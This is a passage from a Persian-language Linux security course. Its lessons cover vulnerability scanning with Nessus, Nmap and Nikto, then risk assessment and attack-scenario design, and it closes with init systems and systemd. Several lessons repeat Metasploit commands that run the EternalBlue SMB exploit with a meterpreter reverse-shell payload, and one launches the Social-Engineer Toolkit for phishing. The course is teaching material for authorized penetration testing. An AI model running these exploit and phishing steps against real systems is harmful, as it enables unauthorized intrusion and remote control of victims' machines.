در این مرحله، باید یک حساب کاربری برای دسترسی به Nessus بسازید.

3. انجام اسکن آسیب‌پذیری با Nessus:

پس از ورود به رابط کاربری، شما می‌توانید یک اسکن جدید را برای شناسایی آسیب‌پذیری‌ها راه‌اندازی کنید. برای این کار، مراحل زیر را دنبال کنید:

  • به بخش “New Scan” بروید.
  • نوع اسکن را انتخاب کنید (برای مثال “Basic Network Scan”).
  • هدف (IP یا دامنه) را وارد کنید.
  • گزینه‌های مربوط به اسکن را تنظیم کرده و سپس اسکن را اجرا کنید.

پس از اجرای اسکن، Nessus گزارشی از آسیب‌پذیری‌های شناسایی‌شده را نمایش خواهد داد که شامل جزئیات مربوط به هر آسیب‌پذیری و روش‌های اصلاح آن است.


جمع بندی

در این بخش، دو ابزار مهم و کاربردی برای ارزیابی امنیت، یعنی Metasploit و Nessus را معرفی کردیم. Metasploit به‌عنوان ابزاری برای شبیه‌سازی حملات و نفوذ به سیستم‌ها به‌کار می‌رود، در حالی که Nessus به‌عنوان ابزاری برای شناسایی آسیب‌پذیری‌ها در شبکه‌ها و سیستم‌ها استفاده می‌شود. هر دو ابزار قدرت زیادی در شبیه‌سازی حملات و ارزیابی آسیب‌پذیری‌ها دارند و می‌توانند در ارزیابی امنیت سیستم‌ها بسیار مؤثر باشند.

 [/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”شبیه‌سازی حملات برای شناسایی آسیب‌پذیری‌های سیستم” subtitle=”توضیحات کامل”]شبیه‌سازی حملات (Penetration Testing) به‌منظور شناسایی آسیب‌پذیری‌ها در سیستم‌ها، شبکه‌ها و برنامه‌ها استفاده می‌شود. در این قسمت، به شبیه‌سازی حملات برای کشف آسیب‌پذیری‌ها و روش‌های استفاده از ابزارهای مختلف برای انجام این حملات خواهیم پرداخت. هدف این کار شبیه‌سازی شرایط واقعی حمله به سیستم‌ها و در نهایت شناسایی نقاط ضعف آنها است. ابزارهایی مانند Metasploit و Nessus از جمله ابزارهای معمول برای انجام این کار هستند. همچنین، به صورت عملی نحوه استفاده از آنها و انجام حملات را بررسی خواهیم کرد.


۱. شبیه‌سازی حملات با استفاده از Metasploit

Metasploit یکی از معروف‌ترین و قدرتمندترین ابزارهای موجود برای شبیه‌سازی حملات است. این ابزار به شما این امکان را می‌دهد که به‌طور مستقیم حملات مختلف را شبیه‌سازی کنید و به آسیب‌پذیری‌های موجود در سیستم‌ها دست یابید. در این بخش، نحوه استفاده از Metasploit برای انجام حملات و شبیه‌سازی آسیب‌پذیری‌ها آورده شده است.

۱.۱. نصب Metasploit:

برای نصب Metasploit، ابتدا باید آن را از مخازن رسمی نصب کنید.

کد نصب برای سیستم‌های مبتنی بر Ubuntu/Debian:

sudo apt update
sudo apt install metasploit-framework

۱.۲. راه‌اندازی Metasploit:

پس از نصب، Metasploit را می‌توان با دستور زیر راه‌اندازی کرد:

msfconsole

۱.۳. شبیه‌سازی حملات با Metasploit:

برای انجام یک حمله شبیه‌سازی‌شده با استفاده از Metasploit، مراحل زیر را دنبال کنید:

  • ابتدا باید نوع آسیب‌پذیری سیستم هدف را شبیه‌سازی کنید. به‌عنوان مثال، برای آزمایش آسیب‌پذیری MS17-010 (که بر روی Windows SMB است) باید از exploit مناسب استفاده کنید.

انتخاب exploit:

use exploit/windows/smb/ms17_010_eternalblue
  • سپس باید payload مناسب را انتخاب کنید:
set payload windows/x64/meterpreter/reverse_tcp
  • پس از انتخاب payload، باید اطلاعات مربوط به IP مقصد (RHOSTS) و آدرس IP خود (LHOST) را وارد کنید:
set RHOSTS [target_ip]
set LHOST [your_ip]
set LPORT [port_number]
  • در نهایت، برای شروع حمله، دستور زیر را وارد کنید:
exploit

این دستور باعث می‌شود که حمله بر روی سیستم هدف اجرا شود و در صورتی که آسیب‌پذیری موجود باشد، امکان نفوذ به سیستم فراهم می‌شود.


۲. شبیه‌سازی حملات با استفاده از Nessus

Nessus یک ابزار بسیار قوی برای شناسایی آسیب‌پذیری‌ها است که از آن برای ارزیابی امنیت سیستم‌ها و شبیه‌سازی حملات استفاده می‌شود. Nessus قادر است آسیب‌پذیری‌های موجود در سیستم‌ها و شبکه‌ها را شناسایی کرده و گزارشی از آنها ارائه دهد. در این بخش نحوه استفاده از Nessus برای شبیه‌سازی حملات و شناسایی آسیب‌پذیری‌ها آورده شده است.

۲.۱. نصب Nessus:

برای نصب Nessus، ابتدا باید فایل نصب مربوطه را دانلود کرده و نصب کنید. کد زیر برای نصب در سیستم‌های مبتنی بر Ubuntu/Debian است:

wget https://www.tenable.com/downloads/api/v1/public/pages/nessus/downloads/11221/download?i_agree_to_tenable_license_agreement=true
sudo dpkg -i Nessus-<version>.deb

سپس سرویس Nessus را با استفاده از دستور زیر راه‌اندازی کنید:

sudo systemctl start nessusd

۲.۲. دسترسی به رابط کاربری Nessus:

برای دسترسی به رابط کاربری وب Nessus، از مرورگر خود به آدرس زیر بروید:

https://localhost:8834

و در آنجا با وارد کردن نام کاربری و رمز عبور وارد شوید.

۲.۳. شبیه‌سازی حملات و اسکن آسیب‌پذیری‌ها با Nessus:

در رابط کاربری Nessus، برای شبیه‌سازی حملات و اسکن آسیب‌پذیری‌ها، مراحل زیر را طی کنید:

  • به بخش “New Scan” بروید.
  • نوع اسکن (برای مثال “Basic Network Scan”) را انتخاب کنید.
  • آدرس IP یا دامنه سیستم هدف را وارد کنید.
  • گزینه‌های اسکن را تنظیم کنید و سپس اسکن را اجرا کنید.

Nessus پس از اجرای اسکن، گزارشی از آسیب‌پذیری‌های شناسایی‌شده را نمایش می‌دهد که شامل جزئیات آسیب‌پذیری‌ها و راه‌حل‌های پیشنهادی برای برطرف کردن آنها می‌شود.


۳. شبیه‌سازی حملات با استفاده از ابزارهای دیگر

علاوه بر Metasploit و Nessus، ابزارهای دیگری مانند Nmap، Wireshark و Nikto نیز برای شبیه‌سازی حملات و شناسایی آسیب‌پذیری‌ها استفاده می‌شوند. این ابزارها به شما کمک می‌کنند که درک بهتری از وضعیت امنیتی شبکه و سیستم‌های خود پیدا کنید.

۳.۱. استفاده از Nmap برای شناسایی آسیب‌پذیری‌ها:

Nmap یکی از ابزارهای محبوب برای شناسایی آسیب‌پذیری‌های شبکه است. با استفاده از آن می‌توان اطلاعات مفیدی درباره پورت‌های باز، سرویس‌های در حال اجرا، و سیستم‌عامل‌های استفاده‌شده بر روی میزبان‌های هدف به دست آورد.

برای اسکن یک شبکه با Nmap و شبیه‌سازی حملات، از دستور زیر استفاده کنید:

nmap -sV [target_ip]

این دستور نسخه‌های سرویس‌های در حال اجرا بر روی سیستم هدف را شناسایی خواهد کرد.

۳.۲. استفاده از Nikto برای شبیه‌سازی حملات به وب‌سایت‌ها:

Nikto یک ابزار خط فرمان برای اسکن آسیب‌پذیری‌های وب‌سایت‌ها است. این ابزار می‌تواند اطلاعاتی از جمله آسیب‌پذیری‌های XSS، SQL Injection و مشکلات مربوط به سرورهای وب را شبیه‌سازی و شناسایی کند.

برای اسکن یک وب‌سایت با Nikto، از دستور زیر استفاده کنید:

nikto -h http://[target_website]

این دستور به بررسی آسیب‌پذیری‌های شناخته‌شده وب‌سایت هدف خواهد پرداخت.


جمع بندی

در این بخش، به بررسی نحوه شبیه‌سازی حملات برای شناسایی آسیب‌پذیری‌ها در سیستم‌ها، شبکه‌ها و وب‌سایت‌ها پرداختیم. ابزارهای قدرتمندی مانند Metasploit، Nessus، Nmap و Nikto برای شبیه‌سازی حملات و شناسایی نقاط ضعف در سیستم‌ها و برنامه‌ها به‌کار می‌روند. با استفاده از این ابزارها، متخصصان امنیت می‌توانند به‌طور مؤثر آسیب‌پذیری‌ها را شبیه‌سازی کرده و راه‌حل‌های لازم برای بهبود امنیت سیستم‌ها را پیاده‌سازی کنند.[/cdb_course_lesson][cdb_course_lesson title=”تحلیل و ارزیابی امنیتی”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ارزیابی ریسک و شناسایی نقاط ضعف سیستم” subtitle=”توضیحات کامل”]ارزیابی ریسک یکی از مهم‌ترین فرآیندها در مدیریت امنیت سایبری است که هدف آن شناسایی و ارزیابی آسیب‌پذیری‌ها و تهدیداتی است که می‌توانند بر عملکرد سیستم‌ها، شبکه‌ها و داده‌ها تأثیر بگذارند. این ارزیابی به متخصصان امنیت کمک می‌کند تا بهترین تصمیمات را برای کاهش ریسک‌ها اتخاذ کنند. در این بخش، به شناسایی نقاط ضعف سیستم و ارزیابی ریسک‌ها از طریق ابزارها و تکنیک‌های مختلف خواهیم پرداخت.


۱. مفهوم ارزیابی ریسک

ارزیابی ریسک فرآیندی است که در آن تهدیدات، آسیب‌پذیری‌ها و احتمال وقوع آنها به‌طور سیستماتیک تحلیل می‌شود. این فرآیند به‌طور خاص بر ارزیابی اثرات احتمالی این تهدیدات بر سیستم‌ها و اطلاعات حساس تمرکز دارد. مراحل اصلی ارزیابی ریسک به شرح زیر است:

  1. شناسایی تهدیدات و آسیب‌پذیری‌ها: ابتدا تهدیدات ممکن (مانند حملات سایبری، خرابی سخت‌افزاری، خطاهای انسانی) و آسیب‌پذیری‌های سیستم‌ها شناسایی می‌شوند.
  2. ارزیابی احتمال وقوع: سپس احتمال وقوع هر تهدید و آسیب‌پذیری مورد ارزیابی قرار می‌گیرد.
  3. تحلیل اثرات: تأثیرات احتمالی این تهدیدات بر سیستم‌ها و داده‌ها بررسی می‌شود.
  4. اولویت‌بندی ریسک‌ها: ریسک‌ها بر اساس احتمال وقوع و شدت اثراتشان اولویت‌بندی می‌شوند.
  5. مدیریت و کاهش ریسک: در این مرحله، اقدامات لازم برای کاهش یا مدیریت ریسک‌ها اتخاذ می‌شود.

۲. ابزارهای ارزیابی ریسک

برای انجام ارزیابی ریسک و شناسایی نقاط ضعف سیستم، ابزارهای مختلفی وجود دارند که به‌طور خودکار این فرآیندها را تسهیل می‌کنند. در این بخش، به بررسی چند ابزار مهم برای ارزیابی ریسک و شناسایی نقاط ضعف خواهیم پرداخت.

۲.۱. استفاده از Nessus برای شناسایی آسیب‌پذیری‌ها و ارزیابی ریسک

Nessus به‌عنوان یکی از ابزارهای برتر در شناسایی آسیب‌پذیری‌ها، می‌تواند به شما کمک کند تا نقاط ضعف سیستم را شناسایی کرده و ارزیابی دقیقی از ریسک‌ها انجام دهید.

نحوه استفاده از Nessus برای ارزیابی ریسک:

  1. نصب Nessus: برای نصب Nessus، ابتدا باید آن را از سایت رسمی دانلود کرده و نصب کنید. این ابزار قابلیت اسکن آسیب‌پذیری‌های سیستم‌ها، شبکه‌ها و وب‌سایت‌ها را دارد.
wget https://www.tenable.com/downloads/api/v1/public/pages/nessus/downloads/11221/download?i_agree_to_tenable_license_agreement=true
sudo dpkg -i Nessus-<version>.deb
sudo systemctl start nessusd
  1. اجرای اسکن آسیب‌پذیری‌ها: پس از نصب، از رابط کاربری وب Nessus برای اجرای اسکن استفاده کنید. برای این کار، باید سیستم یا شبکه مورد نظر را انتخاب کرده و اسکن را شروع کنید. گزارش‌هایی که Nessus پس از اسکن به شما ارائه می‌دهد، شامل جزئیات دقیق نقاط ضعف و آسیب‌پذیری‌ها خواهد بود.
nmap -sV [target_ip]   # استفاده از Nmap برای شناسایی سرویس‌های فعال در سیستم

۲.۲. استفاده از Metasploit برای شبیه‌سازی حملات و ارزیابی ریسک

Metasploit می‌تواند به‌عنوان ابزاری برای شبیه‌سازی حملات مورد استفاده قرار گیرد تا اثرات تهدیدات و آسیب‌پذیری‌های مختلف را شبیه‌سازی کرده و ارزیابی ریسک را انجام دهد.

نحوه استفاده از Metasploit برای ارزیابی ریسک:

  1. راه‌اندازی Metasploit: برای شروع، باید متااسپلویت را نصب و راه‌اندازی کنید.
sudo apt-get update
sudo apt-get install metasploit-framework
msfconsole
  1. شبیه‌سازی حمله: از متااسپلویت برای شبیه‌سازی حملات استفاده کنید. به‌عنوان مثال، حملات EternalBlue یکی از حملات معروف است که می‌توانید با استفاده از Metasploit آن را شبیه‌سازی کنید.
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [target_ip]
set LHOST [your_ip]
exploit

پس از اجرای این حمله، نتایج آن می‌تواند به‌عنوان نقطه شروعی برای ارزیابی ریسک‌ها در نظر گرفته شود.


۳. تحلیل اثرات و اولویت‌بندی ریسک‌ها

پس از شناسایی آسیب‌پذیری‌ها و تهدیدات، نوبت به تحلیل اثرات و اولویت‌بندی ریسک‌ها می‌رسد. این مرحله شامل ارزیابی احتمال وقوع تهدیدات و تحلیل شدت اثرات آن‌ها است.

۳.۱. تحلیل احتمال وقوع تهدیدات

برای تحلیل احتمال وقوع تهدیدات، می‌توانید از مدل‌های آماری یا تجربی استفاده کنید. ابزارهایی مانند RiskWatch به شما کمک می‌کنند که بر اساس داده‌های گذشته و تحلیل‌های انجام‌شده، احتمال وقوع تهدیدات را ارزیابی کنید.

۳.۲. تحلیل شدت اثرات تهدیدات

با استفاده از تکنیک‌هایی مانند Impact Assessment می‌توان شدت اثرات تهدیدات را تحلیل کرد. به‌عنوان مثال، حملات DDoS می‌توانند به‌طور شدید روی عملکرد سیستم‌های آنلاین تأثیر بگذارند.

۳.۳. اولویت‌بندی ریسک‌ها

برای اولویت‌بندی ریسک‌ها، می‌توانید از Matrix Risk Assessment استفاده کنید که بر اساس ترکیب احتمال وقوع و شدت اثرات ریسک‌ها، آن‌ها را اولویت‌بندی می‌کند.


۴. روش‌های کاهش ریسک

پس از شناسایی ریسک‌ها و اولویت‌بندی آن‌ها، گام بعدی در ارزیابی ریسک، اتخاذ اقدامات برای کاهش آن‌ها است. روش‌های مختلفی برای کاهش ریسک وجود دارند:

  • تقویت زیرساخت‌های امنیتی: استفاده از فایروال‌ها، سیستم‌های تشخیص نفوذ (IDS)، و سیستم‌های پیشگیری از نفوذ (IPS) برای محافظت از شبکه‌ها و سیستم‌ها.
  • آموزش کاربران: آموزش کارکنان برای شناسایی حملات فیشینگ و دیگر حملات اجتماعی.
  • اجرای به‌روزرسانی‌های امنیتی: به‌طور منظم سیستم‌ها و نرم‌افزارها را به‌روزرسانی کنید تا آسیب‌پذیری‌های شناخته‌شده رفع شوند.

جمع بندی

در این بخش، به ارزیابی ریسک و شناسایی نقاط ضعف سیستم پرداختیم. ارزیابی ریسک یک فرآیند حیاتی در شناسایی تهدیدات و آسیب‌پذیری‌ها است که به‌طور سیستماتیک به تحلیل احتمال وقوع و اثرات تهدیدات بر سیستم‌ها و داده‌ها می‌پردازد. ابزارهایی مانند Nessus، Metasploit و RiskWatch می‌توانند در این فرآیند به شما کمک کنند. پس از شناسایی ریسک‌ها، گام‌های لازم برای کاهش و مدیریت آن‌ها باید به‌طور مؤثر اجرا شود تا از آسیب‌پذیری‌های سیستم‌ها و اطلاعات حساس جلوگیری گردد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ایجاد سناریوهای حمله برای تست مقاومت سیستم در برابر تهدیدات” subtitle=”توضیحات کامل”]ایجاد سناریوهای حمله به‌منظور تست مقاومت سیستم در برابر تهدیدات یکی از روش‌های اساسی در ارزیابی امنیت شبکه و سیستم‌ها است. این فرآیند به‌نام تست نفوذ (Penetration Testing) شناخته می‌شود که در آن حملات شبیه‌سازی‌شده به سیستم‌های موجود اعمال می‌شود تا نقاط ضعف و آسیب‌پذیری‌ها شناسایی شوند. در این بخش، به نحوه طراحی سناریوهای حمله، ابزارهای مورد استفاده، و فرآیند اجرای این تست‌ها پرداخته خواهد شد.


۱. اهمیت ایجاد سناریوهای حمله

هدف از ایجاد سناریوهای حمله شبیه‌سازی حملات واقعی است که ممکن است سیستم‌ها را تهدید کنند. این سناریوها باید به‌گونه‌ای طراحی شوند که تمامی جنبه‌های امنیتی سیستم، شامل زیرساخت‌ها، نرم‌افزارها، و سیاست‌های امنیتی را پوشش دهند. برخی از مزایای ایجاد سناریوهای حمله عبارتند از:

  • شناسایی آسیب‌پذیری‌های ناشناخته
  • ارزیابی توانایی سیستم در برابر حملات مختلف
  • اطمینان از اینکه تدابیر امنیتی به‌درستی پیاده‌سازی شده‌اند
  • بهبود فرآیندهای امنیتی و مدیریت ریسک

۲. طراحی سناریوهای حمله

برای طراحی سناریوهای حمله، ابتدا باید تهدیدات ممکن و آسیب‌پذیری‌های سیستم‌ها شناسایی شوند. سپس بر اساس این تهدیدات، سناریوهای مختلفی طراحی می‌شوند که به‌طور واقعی شرایط ممکن حمله را شبیه‌سازی کنند. مراحل اصلی طراحی سناریوهای حمله به شرح زیر است:

  1. شناسایی اهداف و منابع: شناسایی سیستم‌ها، شبکه‌ها، و داده‌هایی که باید مورد ارزیابی قرار گیرند.
  2. انتخاب حملات مرتبط: انتخاب انواع حملات مرتبط با هر آسیب‌پذیری مانند حملات DDoS، فیشینگ، یا حملات به پروتکل‌ها.
  3. طراحی سناریو: طراحی شرایط حمله، مسیرهای نفوذ، و تکنیک‌های مورد استفاده.
  4. تعیین ابزارهای مورد نیاز: انتخاب ابزارهای مناسب برای شبیه‌سازی حمله، مانند Metasploit، Burp Suite، و Nmap.

۳. ابزارهای مورد استفاده در سناریوهای حمله

برای شبیه‌سازی حملات و اجرای سناریوهای حمله، ابزارهای مختلفی وجود دارند که می‌توانند به شما در ارزیابی امنیت سیستم‌ها کمک کنند. در این بخش، به بررسی برخی از مهم‌ترین ابزارهای مورد استفاده در سناریوهای حمله می‌پردازیم:

۳.۱. Metasploit

Metasploit یکی از قدرتمندترین ابزارها برای شبیه‌سازی حملات و پیدا کردن آسیب‌پذیری‌ها است. این ابزار به شما امکان می‌دهد تا حملات مختلف را طراحی کرده و سیستم‌ها را در برابر آنها تست کنید.

نحوه استفاده از Metasploit:

  1. راه‌اندازی Metasploit:
sudo apt-get install metasploit-framework
msfconsole
  1. انتخاب و اجرای یک حمله:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [target_ip]
set LHOST [your_ip]
exploit

۳.۲. Nmap

Nmap ابزاری است که برای اسکن کردن شبکه‌ها و شناسایی سرویس‌های فعال استفاده می‌شود. این ابزار می‌تواند برای شبیه‌سازی حملات مرتبط با پورت‌ها و سرویس‌ها به کار رود.

نحوه استفاده از Nmap برای شبیه‌سازی حمله:

  1. اسکن پورت‌ها:
nmap -sT -p 1-65535 [target_ip]
  1. شناسایی سرویس‌های فعال:
nmap -sV [target_ip]

۳.۳. Burp Suite

Burp Suite ابزاری جامع برای تحلیل امنیت برنامه‌های وب است که می‌تواند برای شبیه‌سازی حملات مانند تزریق SQL، XSS، و دیگر آسیب‌پذیری‌های برنامه‌های وب استفاده شود.

نحوه استفاده از Burp Suite:

  1. نصب Burp Suite:
sudo apt-get install burpsuite
  1. راه‌اندازی Burp Suite و تنظیم مرورگر برای استفاده از پروکسی آن.

۴. فرآیند اجرای سناریوهای حمله

پس از طراحی سناریوهای حمله و انتخاب ابزارهای مناسب، مرحله بعدی اجرای این سناریوها و تحلیل نتایج به‌دست‌آمده است. مراحل اجرای سناریوهای حمله به شرح زیر است:

  1. راه‌اندازی محیط تست: ابتدا باید یک محیط تست ایزوله و امن برای انجام حملات شبیه‌سازی‌شده راه‌اندازی کنید. این محیط می‌تواند شامل سیستم‌های هدف، فایروال‌ها، و سیستم‌های تشخیص نفوذ باشد.
  2. اجرای حملات: سپس از ابزارهای مختلف مانند Metasploit و Nmap برای اجرای حملات استفاده کنید. هدف از این مرحله شبیه‌سازی شرایط واقعی حمله و بررسی واکنش سیستم‌ها است.
  3. تحلیل نتایج: پس از اجرای حملات، نتایج به‌دست‌آمده باید به‌دقت تحلیل شوند تا نقاط ضعف سیستم شناسایی شوند. این نتایج شامل آسیب‌پذیری‌های کشف‌شده، زمان نفوذ، و اثرات حمله بر سیستم‌ها هستند.
  4. تدوین گزارش: پس از اجرای تست‌ها، گزارشی کامل شامل جزئیات حملات، نتایج به‌دست‌آمده و پیشنهادات برای تقویت امنیت سیستم باید تهیه شود.

۵. مثال‌های عملی از سناریوهای حمله

برای درک بهتر نحوه اجرای سناریوهای حمله، در اینجا چند مثال عملی از سناریوهای رایج آورده شده است:

۵.۱. حمله به سرویس SMB (EternalBlue)

در این سناریو، حمله به آسیب‌پذیری MS17-010 که در سرویس SMB ویندوز وجود دارد، شبیه‌سازی می‌شود. این حمله می‌تواند برای به‌دست‌آوردن دسترسی به سیستم‌های آسیب‌پذیر استفاده شود.

اجرای حمله با Metasploit:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [target_ip]
set LHOST [your_ip]
exploit

۵.۲. حمله فیشینگ

در این سناریو، حمله فیشینگ شبیه‌سازی می‌شود تا به بررسی ضعف‌های امنیتی مرتبط با رفتار کاربران پرداخته شود. این حمله می‌تواند با استفاده از ابزارهایی مانند Social-Engineer Toolkit (SET) انجام شود.

اجرای حمله فیشینگ با SET:

sudo apt-get install set
setoolkit

سپس دستورالعمل‌های مربوط به ایجاد حمله فیشینگ را دنبال کنید.


جمع‌بندی

ایجاد سناریوهای حمله به‌منظور تست مقاومت سیستم در برابر تهدیدات، یکی از مراحل مهم در ارزیابی امنیت سیستم‌ها است. با استفاده از ابزارهای قدرتمندی مانند Metasploit، Nmap و Burp Suite، می‌توان حملات شبیه‌سازی‌شده‌ای را طراحی و اجرا کرد تا نقاط ضعف سیستم‌ها شناسایی شوند. این فرآیند به شناسایی آسیب‌پذیری‌ها و بهبود اقدامات امنیتی کمک می‌کند.[/cdb_course_lesson][/cdb_course_lessons]

[cdb_course_lessons title=”بخش 4: مدیریت پیشرفته سرویس‌ها و فرآیندها”][cdb_course_lesson title=”فصل 1. سیستم‌های Init پیشرفته”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”معرفی و تفاوت‌های سیستم‌های Init قدیمی و جدید” subtitle=”توضیحات کامل”]سیستم‌های Init در سیستم‌عامل‌های لینوکسی برای راه‌اندازی و مدیریت پروسه‌ها و سرویس‌ها پس از بوت شدن سیستم به‌کار می‌روند. در گذشته، سیستم‌های Init به‌عنوان یک جزء اساسی در سیستم‌عامل‌های یونیکس و لینوکس شناخته می‌شدند، اما با گذر زمان، سیستم‌های جدیدتری مانند Systemd جایگزین آن‌ها شدند. این تغییرات در طراحی و نحوه عملکرد، به‌ویژه در مدیریت سیستم و کارایی، تأثیر زیادی گذاشته‌اند. در این بخش، به معرفی این سیستم‌ها و تفاوت‌های اصلی بین سیستم‌های Init قدیمی و جدید پرداخته خواهد شد.


۱. سیستم Init قدیمی

سیستم‌های Init قدیمی معمولاً از روش‌های ساده‌تری برای مدیریت پروسه‌ها و سرویس‌ها استفاده می‌کردند. قدیمی‌ترین و پرکاربردترین سیستم Init که در بسیاری از توزیع‌های لینوکس وجود داشت، SysVinit بود. در این سیستم، مدیریت سرویس‌ها به‌وسیله اسکریپت‌هایی انجام می‌شد که در دایرکتوری‌هایی مانند /etc/init.d/ قرار داشتند.

ویژگی‌های SysVinit:

  • اسکریپت‌های ساده و متنی برای مدیریت سرویس‌ها
  • انجام عملیات‌ها به صورت خطی و مرحله‌ای
  • زمان‌بر بودن فرآیند بوت
  • عدم پشتیبانی از فرآیندهای همزمان

نحوه راه‌اندازی سرویس‌ها در SysVinit:

برای راه‌اندازی یک سرویس در SysVinit، از دستور زیر استفاده می‌شود:

sudo /etc/init.d/servicename start

برای توقف سرویس:

sudo /etc/init.d/servicename stop

برای بررسی وضعیت سرویس:

sudo /etc/init.d/servicename status

۲. سیستم Init جدید: Systemd

در بسیاری از توزیع‌های لینوکس مدرن، مانند Debian، Ubuntu، Fedora، و CentOS، سیستم Init جدید Systemd به‌جای SysVinit استفاده می‌شود. Systemd با هدف ساده‌سازی مدیریت سیستم و سرویس‌ها، بهبود کارایی و کاهش زمان بوت، طراحی شده است. این سیستم یک چارچوب جامع برای مدیریت سرویس‌ها، زمان‌بندی وظایف، و پیکربندی پروسه‌ها فراهم می‌آورد.

ویژگی‌های Systemd:

  • پشتیبانی از راه‌اندازی همزمان سرویس‌ها برای کاهش زمان بوت
  • استفاده از واحدهای Systemd به‌جای اسکریپت‌های Init
  • قابلیت کنترل دقیق‌تر پروسه‌ها و سرویس‌ها
  • سیستم گسترده برای نظارت بر سلامت سیستم و سرویس‌ها

ساختار واحدها در Systemd:

در Systemd، سرویس‌ها و واحدهای مختلف (مثل سرویس‌ها، سوکت‌ها، و تایمرها) به‌صورت unit مدیریت می‌شوند. واحدهای Systemd معمولاً در مسیر /etc/systemd/system/ ذخیره می‌شوند.

نحوه راه‌اندازی سرویس‌ها در Systemd:

برای راه‌اندازی یک سرویس در Systemd از دستور زیر استفاده می‌شود:

sudo systemctl start servicename.service

برای توقف سرویس:

sudo systemctl stop servicename.service

برای بررسی وضعیت سرویس:

sudo systemctl status servicename.service

برای فعال‌سازی سرویس‌ها در بوت:

sudo systemctl enable servicename.service

برای غیرفعال‌سازی سرویس‌ها در بوت:

sudo systemctl disable servicename.service

۳. تفاوت‌های اصلی بین Init قدیمی و جدید

تفاوت‌های بسیاری میان سیستم‌های Init قدیمی (مانند SysVinit) و جدید (مانند Systemd) وجود دارد. این تفاوت‌ها در عملکرد و مدیریت سیستم تأثیرات زیادی دارند.

۳.۱. زمان بوت

  • در SysVinit، پروسه بوت به‌صورت خطی انجام می‌شود و هر سرویس باید پس از اتمام سرویس قبلی راه‌اندازی شود. این فرآیند زمان‌بر است.
  • در Systemd، سرویس‌ها به‌طور همزمان راه‌اندازی می‌شوند و زمان بوت به‌شدت کاهش می‌یابد.

۳.۲. مدیریت سرویس‌ها

  • در SysVinit، هر سرویس با استفاده از اسکریپت‌های ساده متنی مدیریت می‌شود که در دایرکتوری /etc/init.d/ قرار دارند.
  • در Systemd، از واحدهای unit برای مدیریت سرویس‌ها استفاده می‌شود. این واحدها امکان مدیریت دقیق‌تر، نظارت، و پیکربندی بهتر را فراهم می‌آورند.

۳.۳. قابلیت نظارت و کنترل

  • در SysVinit، نظارت بر سلامت سرویس‌ها و پروسه‌ها بسیار محدود است و به‌صورت دستی باید بررسی شوند.
  • در Systemd، نظارت و کنترل دقیق‌تری بر روی سرویس‌ها و پروسه‌ها وجود دارد. همچنین از ابزارهای پیشرفته‌ای مانند systemctl و journalctl برای مشاهده گزارشات و ارورهای سیستم استفاده می‌شود.

۳.۴. پشتیبانی از فرآیندهای همزمان

  • SysVinit به‌طور عمده برای مدیریت فرآیندها به صورت خطی طراحی شده است، که این خود موجب کندی سیستم در مراحل راه‌اندازی می‌شود.
  • Systemd از چندین فرآیند همزمان پشتیبانی می‌کند که باعث می‌شود زمان بوت کاهش یابد و سرویس‌ها سریع‌تر راه‌اندازی شوند.

۴. پیکربندی و مدیریت سرویس‌ها در Systemd

برای مدیریت سرویس‌ها در Systemd، علاوه بر دستورات systemctl، می‌توان واحدهای جدیدی اضافه کرده و یا تنظیمات سرویس‌ها را سفارشی‌سازی کرد.

۴.۱. ایجاد واحد جدید در Systemd

برای ایجاد یک واحد جدید، فایل .service باید در دایرکتوری /etc/systemd/system/ قرار گیرد. به‌عنوان مثال، برای ایجاد یک سرویس جدید برای اجرای یک اسکریپت، می‌توانید فایل زیر را بسازید:

مسیر فایل: /etc/systemd/system/myscript.service

[Unit]
Description=My Custom Script

[Service]
ExecStart=/path/to/script.sh

[Install]
WantedBy=multi-user.target

سپس واحد جدید را فعال و سرویس را راه‌اندازی کنید:

sudo systemctl daemon-reload
sudo systemctl enable myscript.service
sudo systemctl start myscript.service

۴.۲. مشاهده گزارشات سرویس‌ها با journalctl

برای مشاهده گزارشات و لاگ‌های سرویس‌ها و سیستم در Systemd، از ابزار journalctl استفاده می‌شود. به‌عنوان مثال:

مشاهده تمام لاگ‌های سیستم:

sudo journalctl

مشاهده لاگ‌های یک سرویس خاص:

sudo journalctl -u servicename.service

جمع‌بندی

سیستم‌های Init قدیمی مانند SysVinit و سیستم‌های جدید مانند Systemd تفاوت‌های اساسی در مدیریت سرویس‌ها و پروسه‌ها دارند. در حالی که SysVinit از اسکریپت‌های ساده برای مدیریت سرویس‌ها استفاده می‌کند و عملیات‌ها را به‌صورت خطی انجام می‌دهد، Systemd از واحدهای systemd برای مدیریت سرویس‌ها استفاده می‌کند و امکان راه‌اندازی همزمان سرویس‌ها را فراهم می‌آورد، که این موجب بهبود عملکرد و کاهش زمان بوت سیستم می‌شود. با توجه به مزایای Systemd در مدیریت سیستم، اکثر توزیع‌های لینوکس مدرن به‌طور پیش‌فرض از این سیستم استفاده می‌کنند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیکربندی Systemd” subtitle=”توضیحات کامل”]Systemd یکی از اجزای اصلی در توزیع‌های لینوکس مدرن است که وظیفه مدیریت سرویس‌ها و فرآیندهای سیستمی را بر عهده دارد. این سیستم نه‌تنها سرویس‌ها را به‌طور همزمان راه‌اندازی می‌کند، بلکه از ویژگی‌های پیشرفته‌ای برای نظارت و مدیریت سیستم بهره‌مند است. در این بخش، به بررسی نحوه پیکربندی Systemd و نحوه استفاده از آن برای راه‌اندازی، مدیریت و نظارت بر سرویس‌ها پرداخته خواهد شد.


۱. ساختار واحدهای Systemd

در Systemd، سرویس‌ها و پروسه‌ها به‌عنوان واحد (Unit) مدیریت می‌شوند. واحدها ممکن است انواع مختلفی داشته باشند، از جمله service unit، socket unit، target unit و timer unit.

برای پیکربندی سرویس‌ها، معمولاً از service unit استفاده می‌شود. این واحدها در دایرکتوری /etc/systemd/system/ قرار دارند و از فایل‌های متنی با پسوند .service تشکیل شده‌اند.


۲. ساختار فایل سرویس (Unit File)

